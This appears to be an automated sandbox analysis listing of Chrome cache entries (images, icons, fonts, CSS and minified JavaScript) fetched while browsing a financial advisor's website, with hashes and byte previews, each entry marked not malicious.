Preview:	{. "home": {. "title": "BrokerCheck - Find a broker, investment or financial advisor". },. "scope": {. "firm": {. "broker": "Brokerage Firm",. "broker-abbr": "B",. "ia": "Investment Adviser Firm",. "ia-abbr": "IA",. "previous-broker": "Previously Registered Brokerage Firm",. "previous-broker-abbr": "PR",. "previous-ia": "Previously Registered Investment Adviser Firm",. "previous-ia-abbr": "PR",. "broker-ia": "Brokerage & IA". },. "individual": {. "broker": "Broker",. "broker-abbr": "B",. "ia": "Investment Adviser",. "ia-abbr": "IA",. "previous-broker": "Previously Registered Broker",. "previous-broker-abbr": "PR",. "previous-ia": "Previously Registered Investment Adviser",. "previous-ia-abbr": "PR",. "broker-ia": "Broker & IA". }. },. "sanctions": {. "FINRA_BAR_ALL_MESSAGE": "FINRA has barred this individual from acting as a broker or otherwise associating with a broker-deal

Chrome Cache Entry: 324

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 28 x 28, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2143
Entropy (8bit):	7.489483693830243
Encrypted:	false
SSDEEP:	48:g1uNn2vwJ3xmgCyq0Qgyr7fE/wFnBtqpa1ieucoFl/ss:p2QpRqmyffE/sBca1rucoFl/ss
MD5:	66DEFE8841303A7111155EC339692120
SHA1:	FDAF81A3525E7E8BB02678193490DB11180CF746
SHA-256:	F3D5254125DCC9E3FCD12595CBA2D1912F04D8080B84535ECF336DD4A1E9B868
SHA-512:	44E08395CE1ED21997D0956FC2E42C700CD49F9CE1F5C2B23386D23ADE5F55D28BAF51BACCA94DAA6CC53F6C8DEBA7FC044DCDFDB0277AD6ACC9052451B00438
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............r......tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)" xmpMM:InstanceID="xmp.iid:DD7DABDA1B9F11E8AEF493D9E1EE3689" xmpMM:DocumentID="xmp.did:DD7DABDB1B9F11E8AEF493D9E1EE3689"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:DD7DABD81B9F11E8AEF493D9E1EE3689" stRef:documentID="xmp.did:DD7DABD91B9F11E8AEF493D9E1EE3689"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.K.6....IDATx.V.k\U...}o&3...I'..........m. ..B....D.M.Eu...7.....Ui-..E".Zl45....&Nl...~.].s.d2.IB2>r_.w...s

Chrome Cache Entry: 325

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	391
Entropy (8bit):	5.088244571503162
Encrypted:	false
SSDEEP:	12:t4/KYcDcEqP7e4aB8gJ1lLzA9iHIdMnqp:t4LcDcR9aBDJj/A9bqnQ
MD5:	5FDB7B403B3A41FAA26C73B1AAAF7668
SHA1:	C46A275D28B78B77460E42BA248317378A91B70E
SHA-256:	55E3D046DF49B2754CEC5ECEE990E526DBB272E70EB5BEA625B4E68E64CE1715
SHA-512:	35CCA83F07BB1509A1892064080BBD1F0FCF352512D2A18610FB5B62F3ECA8C14C785EB4656C0F27A047B16067C23C8F326D4846B333ED06A9C70FB29047E696
Malicious:	false
Reputation:	low
URL:	https://static.licdn.com/aero-v1/sc/h/5oas73nreunfgygkpe5iwmgrs
Preview:	<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" height="16px" width="16px" fill="currentColor">. <path d="M14.71,4L12,1.29a1,1,0,0,0-1.41,0L3,8.85,1,15l6.15-2,7.55-7.55A1,1,0,0,0,15,4.71,1,1,0,0,0,14.71,4Zm-8.84,7.6-1.5-1.5L9.42,5.07l1.5,1.5Zm5.72-5.72-1.5-1.5,1.17-1.17,1.5,1.5Z" class="small-icon" style="fill-opacity: 1" id="pencil-icon-small"/>.</svg>

Chrome Cache Entry: 326

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	271
Entropy (8bit):	4.992981634433533
Encrypted:	false
SSDEEP:	6:tI9mc4sl3UYl4spGlXvSBRxtHkRIvldfpmeFrZSABM:t41nlVGAxtEqHPMABM
MD5:	AF7993771376FA0B230F144691C050D8
SHA1:	9F879DE462BAB62C2056FC31466AB166C2163A99
SHA-256:	F62F59807AA3E6F35AD9DF34083C15C0F3D4484472B7BA94BA9067B79385290C
SHA-512:	7E27C6C4DCD5B1A2CE2CDCBCBD4768A8111D733E7472DE64C65222B6CFABA76D3057804B45CD9CFFDDD7A5F67C590D208A2A26A0FB539920055F4E1BCAAFF493
Malicious:	false
Reputation:	low
Preview:	<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 16 16" id="close-small" aria-hidden="true" role="none" data-supported-dps="16x16" fill="currentColor">. <path d="M14 3.41L9.41 8 14 12.59 12.59 14 8 9.41 3.41 14 2 12.59 6.59 8 2 3.41 3.41 2 8 6.59 12.59 2z"/>.</svg>.

Chrome Cache Entry: 327

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	2721
Entropy (8bit):	4.629769308155434
Encrypted:	false
SSDEEP:	48:2kTNnq4XuEu8VWNk4f1v5rYi4O6mNU5BGlwVIbxlkkwmpn2B5+wD/:BTtgVrYRHmC/E6Ib8Wk5+2/
MD5:	ECFA6F7D77DA7DDE7C2AD63721188FB8
SHA1:	3F30D694CAF8DDBF98D4CD720CAD7FE6705461DE
SHA-256:	A40EF94220192D445DCDD662392C4DEF2B31A5F305901FA4D5EB4A73F7EF9351
SHA-512:	AD2FACABC8B4859CFB40F338962FD81635DC93D7381D5DB5E7D346568C4C33C70EE534E2488F279F5EDF9EFFC99E13BA6A74A28A6AF92364097D4A345DC0D2EE
Malicious:	false
Reputation:	low
Preview:	<svg viewBox="0 0 56 14" preserveAspectRatio="xMinYMin meet" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" fill="CurrentColor">. <g class="inbug" fill-rule="evenodd">. <path d="M14,1.25 L14,12.75 C14,13.44 13.44,14 12.75,14 L1.25,14 C0.56,14 0,13.44 0,12.75 L0,1.25 C0,0.56 0.56,0 1.25,0 L12.75,0 C13.44,0 14,0.56 14,1.25" class="bug-text-color" fill="transparent" transform="translate(42.000000, 0.000000)"></path>. <path d="M56,1.25 L56,12.75 C56,13.44 55.44,14 54.75,14 L43.25,14 C42.56,14 42,13.44 42,12.75 L42,1.25 C42,0.56 42.56,0 43.25,0 L54.75,0 C55.44,0 56,0.56 56,1.25 Z M47,5 L48.85,5 L48.85,6.016 L48.893,6.016 C49.259,5.541 50.018,4.938 51.25,4.938 C53.125,4.938 54,5.808 54,8 L54,12 L52,12 L52,8.75 C52,7.313 51.672,6.875 50.632,6.875 C49.5,6.875 49,7.75 49,9 L49,12 L47,12 L47,5 Z M44,12 L46,12 L46,5 L44,5 L44,12 Z M46.335,3 C46.335,3.737 45.737,4.335 45,4.335 C44.263,4.335 43.665,3.737 43.665,3 C43.665,2.263 44.263,1.665 4

Chrome Cache Entry: 328

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 160x160, components 3
Category:	downloaded
Size (bytes):	9582
Entropy (8bit):	7.922843065741066
Encrypted:	false
SSDEEP:	192:DG1vYZHZZL3UfRjUazdUjatgN7SbNTPn20GmALYF+fedEV2pry4sGYs:DoQRZZQUp2qiT/hGmAw+fedhrkGYs
MD5:	68B830DDBBEE81CCC36C3F027A42B8E3
SHA1:	6CEDDDC56FA3F3EC9EF7402D0885DF1A5996949E
SHA-256:	F0DE82F63DE03C45682106447BE30C3769D530F3DC06FADAF3CE55CD964E736D
SHA-512:	FE818ECA680E99BC31338847C4C37AFDC4CF78007DD7D0C50125E4DFC49B92E625AE40F2B6746EBA10F7D029CE1E446426AB864A87FD2C0DBCE3C4E51D768890
Malicious:	false
Reputation:	low
URL:	https://scontent-lga3-1.xx.fbcdn.net/v/t39.30808-6/434161336_977196363805317_3012880170289960724_n.jpg?stp=c0.18.160.160a_dst-jpg_p160x160&_nc_cat=111&ccb=1-7&_nc_sid=5f2048&_nc_ohc=I0NuKevVTXQAb5yPj7c&_nc_ht=scontent-lga3-1.xx&oh=00_AfAh0a3xH4hlU6TTz-tR9rSYzwF_YARPmY2g-UbmV8Cp3Q&oe=661E3419
Preview:	......JFIF..............Photoshop 3.0.8BIM.......h..(.bFBMD0a000a6f0100007603000096070000730800006c090000b40e000004160000821600007f1700006f1800006e250000....C.....................................%...#... , #&'))..-0-(0%()(...C...........(...((((((((((((((((((((((((((((((((((((((((((((((((((...........".............................................................................g...t=2.R...P.Y.....Tp.x.#UI.U%J......&..]..y.Z./.jh.,.}.O..K...w..0.a.."{.....,sEe....{(.4....j..t '.cA.G.6rWC.{..h.j..'.&C.T.nk........R..,uY..-XI.!.ftb.@.....3.8K.F..\|...[mN.J..y.`8.....ap.f....M0.C.-.-....>..3j...V......B..Wi^...N..n.....c....G.......hei.O.-........=.;....-..P.^te#..Z=..'....B..{.\.(.T.\....."..m..5.......}.(.i.^.bX.@.=)<.T.V.3l.Z.2k....\|....J..+.3..-. {Ei....5.?;H.a......6....>...^...ym-. 2._...Qf=;..Yi.\,.IoT...'..........................!".#12.A..$..........,s.c.....F.....B.en.}........3..&;..If.c\|36#.].)..p..W..Hd.n."..x&.m.c.......E#..U... ...T.}.K$R...].

Chrome Cache Entry: 329

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	28
Entropy (8bit):	3.9946803684089094
Encrypted:	false
SSDEEP:	3:3Gt8c:2tj
MD5:	BDB2B7D27FBA2732D32A2C5383D055A3
SHA1:	C486F28067014E749E170D5CD952C6B7A7DEEC33
SHA-256:	0129E83E40F48AD812620BF300DC2A14618F3FA683AAF316E762E0D1DD6B673A
SHA-512:	B24CBFA590CB7D8F770ED7906C7B5E7E7CEDBD01FE9EAF8B8D26B2AD5A43E64FD61367D6F61C39F18BEEFB6C85E9187BBC0CEA632D07588DDD4279683ABE10CA
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISFwmCOy-Zv6mpmBIFDRZaHUoSBQ1edIYX?alt=proto
Preview:	ChIKBw0WWh1KGgAKBw1edIYXGgA=

Chrome Cache Entry: 330

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, CFF, length 181108, version 0.0
Category:	downloaded
Size (bytes):	181108
Entropy (8bit):	7.996440205334624
Encrypted:	true
SSDEEP:	3072:b5vxZZLYI6a9UBN2JYXBQZ9zBR/LaYWgSiHG32NrUk2VrVZ+tOX1pN4++rZADI8m:tvxZZLuaSNO7z/GYWWmNE4J4JrZADI8m
MD5:	B5E12EFE7837D87F50B4D54E624FD8DD
SHA1:	6B35423FF87303E72F801F376FBDD29C04CFD70E
SHA-256:	4AD8F119BE89D78936D86D8405CE0F59DB9AB8C1BB525529E42DC90F2FD21164
SHA-512:	198AE495466FD67F250ED4BE553A692B2638EDF13920BAA725C5E17354C0743BC5219DBB982EDEB495A41BEB54EBFD1AC1DF0CB4798FF015B50E62868AA40BCB
Malicious:	false
Reputation:	low
URL:	https://www.bfjfinancial.com/wp-content/themes/x-child/fonts/Montserrat-Regular.woff
Preview:	wOFFOTTO...t................................CFF ...$........^...FFTM...l........r.l.GDEF...............zGPOS...l.......H#..GSUB...... ...ArZ.?.OS/2.......S...`U..rcmap.......F....c.a.head...0...4...6...=hhea...d...!...$...7hmtx...........\....maxp..............P.name............w.O.post........... ...2x.c`d```76....=...+.7......Gu....._lF,.@....H..Q...x.c`d``>...-.....lF.@.d.>...U.......P.....x.c`aje......................\|...(00..)f(.!..Q.....o&.....XB............5(0....Q...x...j.A...$im..X.iA8J...n..B*B..ZR.o....vw..n..^..^x...3.........iC.)fI.73....9gBDK.......W....tO.4\.G...-.o.'hN.4<I......A..i.G.3.X.ax...+...C.cx..&.cGQ....=gA.....U.E..7.K.,>.........0<EO.5.......>....2<'....<.(..M..K=..'.<R.T.2U.0.b..{.V!...b<R..":.\[....a..%..S.O.F6.....)......0..q...k.......\|F..u{..z...J..=.w.P%N.K.qt...S.Eq.+.R.f.....jG..v....G....P..!.-.....X%.i.q.@..q.<ge.@.M.A...F5.j..q...p..k..y..q.k.c. ........8....oa...v...-..%...Sd2.Hu.]&.z....E.~,...}.A7Y:`..(<.e.uu

Chrome Cache Entry: 331

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1499)
Category:	downloaded
Size (bytes):	3329
Entropy (8bit):	5.309048102527347
Encrypted:	false
SSDEEP:	48:aGLnnkDjPxpHQxczrWRF7WCFx/UojyLt58koc0g2B1KyNdVIfLt/fPu0synCweyC:amnnkX0gC7nz/DGNocv29NdV0f20nuV
MD5:	85A44F3DA76925A60C62F7607C2F5A1D
SHA1:	C14254AB180B397D3EB0AD23CDE7134B1D1E08A6
SHA-256:	6A5FA96340B21EE2114134561E65915A9BD9BE9E7E20DB02815E4AA9B313E6FC
SHA-512:	D5CDFB88298C1FC886B6120EF72BBB94E5C9538129785ED7E81C7AFFF26343AE2ED2E3EF3E5FE4ABD4BC40B0692B8C9399D5BB56CF12AE6ADE630BB3041B14BD
Malicious:	false
Reputation:	low
URL:	https://maps.googleapis.com/maps-api-v3/api/js/56/8/search_impl.js
Preview:	google.maps.__gjsload__('search_impl', function(_){var Mkb=function(a,b){_.H(a.Ig,3,b)},Qkb=function(a,b,c){const d=_.jL(new Nkb);c.Dq=(0,_.Ca)(d.load,d);c.clickable=0!=a.get("clickable");_.hNa(c,_.zR(b));const e=[];e.push(_.sk(c,"click",(0,_.Ca)(Okb,null,a)));_.Pb(["mouseover","mouseout","mousemove"],function(f){e.push(_.sk(c,f,(0,_.Ca)(Pkb,null,a,f)))});e.push(_.sk(a,"clickable_changed",function(){a.Fg.clickable=0!=a.get("clickable")}));a.Gg=e},Okb=function(a,b,c,d,e){let f=null;if(e&&(f={status:e.getStatus()},0==e.getStatus())){f.location=_.Y(e.Ig,.2)?new _.Gj(_.Fu(_.J(e.Ig,2,_.Lu).Ig,1),_.Fu(_.J(e.Ig,2,_.Lu).Ig,2)):null;f.fields={};const g=_.ri(e.Ig,3);for(let h=0;h<g;++h){const l=_.fs(e.Ig,3,_.IR,h);f.fields[l.getKey()]=l.getValue()}}_.Fk(a,"click",b,c,d,f)},Pkb=function(a,b,c,d,e,f,g){let h=null;f&&(h={title:f[1].title,snippet:f[1].snippet});_.Fk(a,b,c,d,e,h,g)},Rkb=function(){},Skb=class extends _.R{constructor(){super()}bj(){return _.Pi(this.Ig,2)}},Tkb=[_.K,,,_.bq,_.pOa];var U

Chrome Cache Entry: 332

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	2581
Entropy (8bit):	4.932587720968578
Encrypted:	false
SSDEEP:	48:CaYyIkaqUIlKH7LgIY/YsHxLRX4lJFZxxvwJj:xYy9ael27UIY/YgFRX6FZ3vi
MD5:	D4318CD31955A9F24519F473044664F9
SHA1:	66D56228A5DCBBD6AC852F6ACF03D3E3FB2F2A31
SHA-256:	E3C54C4A9CBF08D90E8C147B6DD3C4CD28971BC87AA9ADFD6D77BEE9F9D7CEA5
SHA-512:	B40DBF2031E53FB02B7F7CD3F1A88DDA4C1472612A3CA0755063B761E5E7B241E5ECE18E07C726922EBE61A62C9F8C279A64DD9C7776E955A5475A42E01B07DD
Malicious:	false
Reputation:	low
URL:	https://static.xx.fbcdn.net/rsrc.php/yu/r/Ddk-AuWE7VS.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 112 112">. <defs>. <clipPath id="clip-path">. <path class="cls-1" d="M107.12 90.42a12.77 12.77 0 01-17.82 2.93L41.2 58.82l14.89-20.75 48.1 34.53a12.77 12.77 0 012.93 17.82z"/>. </clipPath>. <clipPath id="clip-path-2">. <rect x="75.1" y="44.29" width="7.5" height="13.78" rx="3.48" fill="none"/>. </clipPath>. <style>. .cls-1{fill:#bcc0c4}.cls-7{fill:none}.cls-3{fill:#90c3ff}.cls-4{fill:#64676b}.cls-6{fill:#a4a7ab}.cls-7{stroke:#1876f2;stroke-linecap:round;stroke-linejoin:round;stroke-width:9.48px}.cls-10{fill:#1876f2}. </style>. </defs>. <g id="General">. <path class="cls-3" d="M86.78 102.54l-12.44.09 7.73-19.87 10.77 4.19-6.06 15.59z"/>. <path class="cls-4" d="M88.37 107.16l-15.85.1 1.82-4.63 12.44-.09-.61 1.75 2.2 2.87zM74.34 100.54l-15.85.1L60.32 96l12.43-.08-.61 1.75 2.2 2.87z"/>. <path d="M72.64 96.16l-12.44.08 7.73-19.87 10.77 4.19-6.06 15.6z"/>. <path class="cls-1" d="M107.12 90.42

Chrome Cache Entry: 333

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	2721
Entropy (8bit):	4.629769308155434
Encrypted:	false
SSDEEP:	48:2kTNnq4XuEu8VWNk4f1v5rYi4O6mNU5BGlwVIbxlkkwmpn2B5+wD/:BTtgVrYRHmC/E6Ib8Wk5+2/
MD5:	ECFA6F7D77DA7DDE7C2AD63721188FB8
SHA1:	3F30D694CAF8DDBF98D4CD720CAD7FE6705461DE
SHA-256:	A40EF94220192D445DCDD662392C4DEF2B31A5F305901FA4D5EB4A73F7EF9351
SHA-512:	AD2FACABC8B4859CFB40F338962FD81635DC93D7381D5DB5E7D346568C4C33C70EE534E2488F279F5EDF9EFFC99E13BA6A74A28A6AF92364097D4A345DC0D2EE
Malicious:	false
Reputation:	low
URL:	https://static.licdn.com/aero-v1/sc/h/e12h2cd8ac580qen9qdd0qks8
Preview:	<svg viewBox="0 0 56 14" preserveAspectRatio="xMinYMin meet" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" fill="CurrentColor">. <g class="inbug" fill-rule="evenodd">. <path d="M14,1.25 L14,12.75 C14,13.44 13.44,14 12.75,14 L1.25,14 C0.56,14 0,13.44 0,12.75 L0,1.25 C0,0.56 0.56,0 1.25,0 L12.75,0 C13.44,0 14,0.56 14,1.25" class="bug-text-color" fill="transparent" transform="translate(42.000000, 0.000000)"></path>. <path d="M56,1.25 L56,12.75 C56,13.44 55.44,14 54.75,14 L43.25,14 C42.56,14 42,13.44 42,12.75 L42,1.25 C42,0.56 42.56,0 43.25,0 L54.75,0 C55.44,0 56,0.56 56,1.25 Z M47,5 L48.85,5 L48.85,6.016 L48.893,6.016 C49.259,5.541 50.018,4.938 51.25,4.938 C53.125,4.938 54,5.808 54,8 L54,12 L52,12 L52,8.75 C52,7.313 51.672,6.875 50.632,6.875 C49.5,6.875 49,7.75 49,9 L49,12 L47,12 L47,5 Z M44,12 L46,12 L46,5 L44,5 L44,12 Z M46.335,3 C46.335,3.737 45.737,4.335 45,4.335 C44.263,4.335 43.665,3.737 43.665,3 C43.665,2.263 44.263,1.665 4

Chrome Cache Entry: 334

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (19833)
Category:	downloaded
Size (bytes):	1099769
Entropy (8bit):	5.470872260529907
Encrypted:	false
SSDEEP:	6144:6hPytEjzLtt9NjS1JDb/lpdRhQaSD2AIEAaso1ylbiTX0FsEMorHsbye5co3OhnH:yyt2undLkbDeSFW19MqiyeSJn5QY
MD5:	DF25811871D216423DFD02A2E33ED68C
SHA1:	D0D79B7D2E82BEDBBF59FCC027B897B78B1D44E9
SHA-256:	5AFFF683098A48432BBECE80E268E1F78ABDAFD190364DC1460D4A8FF03AB51A
SHA-512:	D119C9E7977647F9BD82D24E27DF86CCA3A5BAD7B7E59AD3A52F18955C8E66E0E93FABC8695FD62A99D149A3BE8EFF18D1422831750DFDEE2E18305323AE70C0
Malicious:	false
Reputation:	low
URL:	https://static.xx.fbcdn.net/rsrc.php/v3ii184/ys/l/en_US/erqik_ar1cv.js?_nc_x=Ij3Wp8lg5Kz
Preview:	;/FB_PKG_DELIM/..__d("CometStyleXDarkTheme",[],(function(a,b,c,d,e,f){e.exports={"fds-black":"black","fds-black-alpha-05":"rgba(0, 0, 0, 0.05)","fds-black-alpha-10":"rgba(0, 0, 0, 0.1)","fds-black-alpha-15":"rgba(0, 0, 0, 0.15)","fds-black-alpha-20":"rgba(0, 0, 0, 0.2)","fds-black-alpha-30":"rgba(0, 0, 0, 0.3)","fds-black-alpha-40":"rgba(0, 0, 0, 0.4)","fds-black-alpha-50":"rgba(0, 0, 0, 0.5)","fds-black-alpha-60":"rgba(0, 0, 0, 0.6)","fds-black-alpha-80":"rgba(0, 0, 0, 0.8)","fds-blue-05":"black","fds-blue-30":"black","fds-blue-40":"black","fds-blue-60":"black","fds-blue-70":"black","fds-blue-80":"black","fds-button-text":"black","fds-comment-background":"black","fds-dark-mode-gray-35":"black","fds-dark-mode-gray-50":"black","fds-dark-mode-gray-70":"black","fds-dark-mode-gray-80":"black","fds-dark-mode-gray-90":"black","fds-dark-mode-gray-100":"black","fds-gray-00":"black","fds-gray-05":"black","fds-gray-10":"black","fds-gray-20":"black","fds-gray-25":"black","fds-gray-30":"black","

Chrome Cache Entry: 335

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=1, copyright=Copyright (c) 2023 Zolak/Shutterstock. No use without permission.], baseline, precision 8, 560x292, components 3
Category:	downloaded
Size (bytes):	67933
Entropy (8bit):	7.979660325572327
Encrypted:	false
SSDEEP:	1536:bAoyV4mwWa92GZ/xuYtkmfmS0xGQqxdje6+qN1rkfTgny:M1w592GZ/KjxGQqxdjFvrkfkny
MD5:	22B376E36E0CF963186ED49C3EC53A22
SHA1:	0D421B869AFD91437DA2D9033B13EDE685DB5663
SHA-256:	B82920E44DF026F5D7FC27A5F56CF2FF7D8A8C27A723E18112D0BFC575BEEE8E
SHA-512:	3053C6E14A039A16C0522961A3E42F36A980C2EFE9A3E7C16319B64673D441A93D765892A58EA5125B93FADBFD657DAA42E81088DB3FE7199EA0258B20A5DDDA
Malicious:	false
Reputation:	low
URL:	https://www.bfjfinancial.com/wp-content/uploads/2024/04/RMD-2023.jpg
Preview:	.....hExif..II*...........C...........Copyright (c) 2023 Zolak/Shutterstock. No use without permission.........Ducky.......P.....Ehttp://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.1462899777, 2023/06/25-23:57:14 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpRights="http://ns.adobe.com/xap/1.0/rights/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpRights:WebStatement="https://www.shutterstock.com/license?utm_source=iptc&utm_medium=googleimages&utm_campaign=webstatement" xmpMM:DocumentID="xmp.did:36D72B7AE2F511EE9FE1B8ABF5D547BD" xmpMM:InstanceID="xmp.iid:36D72B79E2F511EE9FE1B8ABF5D547BD" xmp:CreatorTool="Adobe Photoshop 2024 Macintosh"> <xmpMM:DerivedFrom stRef

Chrome Cache Entry: 336

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (20604), with CRLF line terminators
Category:	downloaded
Size (bytes):	20769
Entropy (8bit):	4.782634388227003
Encrypted:	false
SSDEEP:	192:m1cjjI+ab2edrK/TUKIErArKlcZJVrJ3ee+cR6waWW215Uvf0:PjPyW/TUK1+KlkJ5de2UWWyAf0
MD5:	AEDE50E4BE8DA8450A046F9D293E57A5
SHA1:	FBA4583415A7214DD5AF93C6A8740A996424E18B
SHA-256:	D2D09C4A39ACF0339C9697B5837FEC5BB2BFB9F92677AC2133640B900F91925C
SHA-512:	159F810BDB4492EF9F1B436DDDEAD1E1699F3A3BF24EF143CC610C1C88722947C6D4C181649416EB4D4A620B82AEF8737ED3801B1E14F5F99ABF757A1EDB1E28
Malicious:	false
Reputation:	low
URL:	https://www.bfjfinancial.com/wp-content/themes/x-child/font-awesome/css/font-awesome.min.css
Preview:	/!.. Font Awesome 4.1.0 by @davegandy - http://fontawesome.io - @fontawesome.. * License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License).. */@font-face{font-family:'FontAwesome';src:url('../fonts/fontawesome-webfont.eot?v=4.1.0');src:url('../fonts/fontawesome-webfont.eot?#iefix&v=4.1.0') format('embedded-opentype'),url('../fonts/fontawesome-webfont.woff?v=4.1.0') format('woff'),url('../fonts/fontawesome-webfont.ttf?v=4.1.0') format('truetype'),url('../fonts/fontawesome-webfont.svg?v=4.1.0#fontawesomeregular') format('svg');font-weight:normal;font-style:normal}.fa{display:inline-block;font-family:FontAwesome;font-style:normal;font-weight:normal;line-height:1;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.fa-lg{font-size:1.33333333em;line-height:.75em;vertical-align:-15%}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-fw{width:1.28571429em;text-align:center}.fa-ul{padding-left:0;margin-left:2.142857

Chrome Cache Entry: 337

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 253 x 150, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	17382
Entropy (8bit):	7.971621395774043
Encrypted:	false
SSDEEP:	384:qwQySxhsibcltfaNxlhhzQpV1vfmDsMTnxgrxQ1BzYFr:qiE12tSNxlhhzQpVpfjSxgrhr
MD5:	179258F2AF06DD94A4D8E30951629CFB
SHA1:	2935107C54E641584407E1D6EBD49DB112A709A5
SHA-256:	E5AC539100A861C375F8FC87A1EE7188CC035F258C516AFD1780450BB2C7A199
SHA-512:	02861FC7FCCD9C3AB0D25BA2DE50AA4C3EED2E28F771758F0590F3E1AA27FACE24471EA23B8BB1B05BBEC2EAB5B202920B5740B74248FFB93FAA3EAD37CA5E2B
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............b.....C.IDATx^..\UG....I6m7[.m....)..1=...5.."`..E..;6,.QQ...bAQ..+M.......X...<3.p.\PLD.=_>.)..93..3.y.x.<p...........Ax....{.0...C:....W.c....qUx..........j...?..[........`..l/......gB...p.......<.O."#j....KP...Q..._ ...s..E.b..\+...H........z...C..\|.m..~......+..<}..?H...~.\|.d...Q{..P....~.{4...Cff6.jd+......[....~..{..}-....fs.....\|.s......#..+9Y.......t.8w...!q.N.=..8......X$g....W...1b...r....w.Z.({..'.Q.$%wK...Q.DP..W.rs....P9.F/....b../....b......9.......~..Xv.gl...AUy....~.^....{G.L....7..U...]zX...5..$....cW.J.9M...Q.HU...@In.vS~..5C.6...r.BY.i.T....z.....'c..]b...O...d.\..y.....z..;.'.".t.N..K.1. l...=...0\|.......IGq...}..^.....9S...w..d#..O.....6...~[..f.<w..i;...`....cj....:.YyW.....1R\|.'..u.;"....(.!LRV...sGl.....t...].4.Rz.M..Z...aS........C#1f.....^.b5S.=..sVl..9+.4c.r.bt.<..<j.-...ZY.9.N9.@..I.J.&5Y...R}...Y$.....K.0...y.. T{.hI.H/w.0.{.M.-u.A.z.!kp..C..0..K.-....`.........

Chrome Cache Entry: 338

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 160x160, components 3
Category:	downloaded
Size (bytes):	8871
Entropy (8bit):	7.902079248614179
Encrypted:	false
SSDEEP:	192:IVI+17lRUfI6YLx5mSpRT1xSck7i0rMoEg9:IPJOz10/70rF9
MD5:	BFB3D62372518E257BA0098166363D87
SHA1:	B36EEA53250565A00A7B11C89470737565605C12
SHA-256:	BE66D727F470C8484CB27C03577A7721CA83901F828D4F4FE3D9C4660DE3BDD8
SHA-512:	A5D5529D70A4E81665B7773752611897A20B051218A9642C8C5ED11574F8B2A4BB51BF0216FAEF6FB367252E15FE0DED70094C83DD17308A669F8DA1170ADBA5
Malicious:	false
Reputation:	low
